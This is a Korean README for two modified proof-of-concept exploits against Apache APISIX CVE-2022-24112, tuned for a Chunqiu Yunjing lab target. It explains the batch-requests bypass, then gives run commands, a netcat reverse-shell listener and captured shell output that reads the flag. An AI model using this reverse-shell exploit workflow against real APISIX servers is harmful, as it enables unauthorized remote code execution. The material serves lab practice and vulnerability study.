
CVE-2022-24112_POC
수집된 POC
춘추운경(春秋云境):CVE-2022-24112 타겟 환경을 위해 두 개의 POC를 수정했습니다. M4xSec와 twseptian 두 분의 POC를 약간 수정하여 춘추운경 타겟에 맞췄습니다:
춘추운경:CVE-2022-24112:
Apache Apisix는 미국 Apache 재단의 클라우드 네이티브 마이크로서비스 API 게이트웨이 서비스입니다. 이 소프트웨어는 OpenResty와 etcd를 기반으로 구현되며, 동적 라우팅 및 플러그인 핫 로딩 기능을 제공하여 마이크로서비스 아키텍처에서의 API 관리에 적합합니다. Apache APISIX에는 원격 코드 실행 취약점이 존재하며, 이 취약점은 제품의 batch-requests 플러그인이 사용자의 배치 요청을 효과적으로 제한하지 못하기 때문에 발생합니다. 공격자는 이 취약점을 통해 Admin API의 IP 제한을 우회할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
원본 POC:
M4xSec: https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py
twseptian: https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
수정된 POC는 위에서 작성한 두 가지로, 각각 Linux 및 Windows 사용 환경에 맞춰져 있습니다:
CVE-2022-24112_Linux_by_twseptian.py
VPS에서 리스닝 시작: nc -lvvp 18888
POC 디렉토리로 이동하여 실행:
참고: -t에 데이터를 추가할 때 http:// 또는 https://를 입력할 필요 없이, 도메인+포트만 입력하면 됩니다. 예시:
python3 CVE-2022-24112_Linux_by_twseptian.py -t eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 -L VPS_IP -P VPS_PODRPODR
VPS 상황을 확인하면 다음과 같습니다:
[root@root ~]# nc -lvvp 18888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::18888
Ncat: Listening on 0.0.0.0:18888
Ncat: Connection from x.x.x.x.
Ncat: Connection from x.x.x.x:x.
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
cat /flag
flag{0834f79f-5f40-4389-bce7-c64e969734c4}
CVE-2022-24112_Windows_by_M4xSec.py
VPS에서 리스닝 시작: nc -lvvp 18888
POC 디렉토리로 이동하여 실행:
참고: -t에 데이터를 추가할 때 http:// 또는 https://를 입력할 필요 없이, 도메인+포트만 입력하면 됩니다. 예시:
python3 CVE-2022-24112_Windows_by_M4xSec.py eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 VPS_IP VPS_PODRPODR
VPS 상황을 확인하면 다음과 같습니다:
[root@root ~]# nc -lvvp 18888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::18888
Ncat: Listening on 0.0.0.0:18888
Ncat: Connection from x.x.x.x.
Ncat: Connection from x.x.x.x:x.
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
cat /flag
flag{0834f79f-5f40-4389-bce7-c64e969734c4}